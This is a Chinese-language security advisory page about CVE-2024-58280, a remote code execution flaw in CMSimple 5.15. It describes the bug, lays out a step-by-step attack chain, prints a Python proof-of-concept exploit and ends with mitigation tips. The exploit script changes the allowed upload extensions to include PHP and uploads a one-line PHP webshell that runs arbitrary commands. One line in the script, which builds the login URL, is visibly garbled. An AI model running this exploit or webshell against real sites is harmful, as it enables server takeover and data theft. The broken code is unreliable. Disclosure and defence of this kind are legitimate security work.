IPBUF安全漏洞报告
English
CVE-2024-58280 CVSS 8.8 高危

CVE-2024-58280 CMSimple 5.15 远程命令执行漏洞

披露日期: 2025-12-10

漏洞信息

漏洞编号
CVE-2024-58280
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
CMSimple 5.15

相关标签

远程代码执行文件上传漏洞CMSimpleCVE-2024-58280高危漏洞权限绕过Web安全内容管理系统

漏洞概述

CVE-2024-58280是CMSimple 5.15版本中的一个高危远程命令执行漏洞,CVSS评分高达8.8分,属于高危级别。该漏洞存在于CMSimple的内容管理系统中,允许经过认证的低权限攻击者通过修改文件扩展名配置,上传恶意PHP文件到服务器媒体目录,从而在目标服务器上执行任意代码。CMSimple是一款轻量级的开源内容管理系统,广泛应用于小型网站和个人博客。由于该漏洞利用难度较低,且无需用户交互即可实现攻击,对使用受影响版本CMSimple的服务器构成严重安全威胁。攻击者利用此漏洞可以完全控制受害服务器,窃取敏感数据、安装后门、部署挖矿程序或进一步横向移动攻击内网其他系统。该漏洞由VulnCheck安全研究员发现并报告,披露日期为2025年12月10日。建议所有使用CMSimple 5.15的用户立即采取修复措施。

技术细节

该漏洞的核心问题在于CMSimple 5.15对用户上传文件的扩展名验证机制存在缺陷。攻击者首先需要获取CMSimple系统的低权限账号登录凭证。登录后,攻击者可以通过管理后台修改Extensions_userfiles配置参数,在原有文件扩展名后追加',php'。这一操作使得系统允许上传.php格式的文件。随后,攻击者将包含恶意代码的PHP文件(如webshell)上传到媒体目录。由于CMSimple在文件上传时未对上传文件的内容和扩展名进行严格的二次校验,恶意PHP文件被成功保存在服务器上。攻击者通过访问该PHP文件路径,即可触发webshell执行,在服务器上以Web服务用户权限执行任意系统命令。整个攻击过程无需任何用户交互,攻击者只需具备基本的CMSimple账号即可完成漏洞利用。该漏洞的CVSS向量为CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H,表明攻击复杂度低、权限要求低、影响范围广,对机密性、完整性和可用性均造成严重影响。

攻击链分析

STEP 1
步骤1
获取CMSimple 5.15低权限账号(通过社工、弱口令或已有漏洞)
STEP 2
步骤2
登录CMSimple管理后台
STEP 3
步骤3
访问Extensions配置页面,修改Extensions_userfiles参数追加',php'扩展名
STEP 4
步骤4
通过媒体上传功能上传包含webshell的.php文件
STEP 5
步骤5
访问上传的恶意PHP文件路径,触发webshell执行
STEP 6
步骤6
通过GET参数执行任意系统命令,实现远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2024-58280 CMSimple 5.15 Remote Code Execution PoC # Author: Security Researcher # Target: CMSimple 5.15 import requests import sys from bs4 import BeautifulSoup TARGET_URL = "http://target.com/cmsimple/" USERNAME = "attacker" PASSWORD = "password123" def exploit(): """Exploit CVE-2024-58280: RCE via file extension modification""" session = requests.Session() # Step 1: Login to CMSimple login_url = TARGET_URL + "?">" + USERNAME login_data = { "login": USERNAME, "passw": PASSWORD } response = session.post(login_url, data=login_data) if "logout" not in response.text.lower(): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Modify Extensions_userfiles to allow .php files config_url = TARGET_URL + "?_core/settings&admin=plugin_settings" payload = { "Extensions_userfiles": "htm,html,php,js,css,gif,jpg,png,zip", "save": "1" } response = session.post(config_url, data=payload) print("[+] Modified file extensions to allow PHP upload") # Step 3: Upload malicious PHP webshell webshell = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" files = { "file": ("shell.php", webshell, "application/x-php") } upload_url = TARGET_URL + "?_core/media&admin=plugin_media" response = session.post(upload_url, files=files) print("[+] Webshell uploaded successfully") print("[+] Access webshell at: " + TARGET_URL + "media/shell.php?cmd=whoami") return True if __name__ == "__main__": exploit()

影响范围

CMSimple 5.15

防御指南

临时缓解措施
在官方修复补丁发布前,可采取以下临时缓解措施:1) 限制管理后台只允许可信IP访问,通过.htaccess或Nginx配置IP白名单;2) 禁用Extensions_userfiles配置项的修改权限,确保普通用户无法更改文件扩展名限制;3) 在Web服务器配置中禁用media目录的PHP执行权限,例如在Nginx中添加'location /media/ { deny all; }'规则;4) 启用Web应用防火墙规则,监控和阻止包含可疑PHP代码的文件上传请求;5) 定期检查media目录是否存在异常.php文件,及时清理可疑文件;6) 考虑暂时关闭CMSimple的文件上传功能,待漏洞修复后再启用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表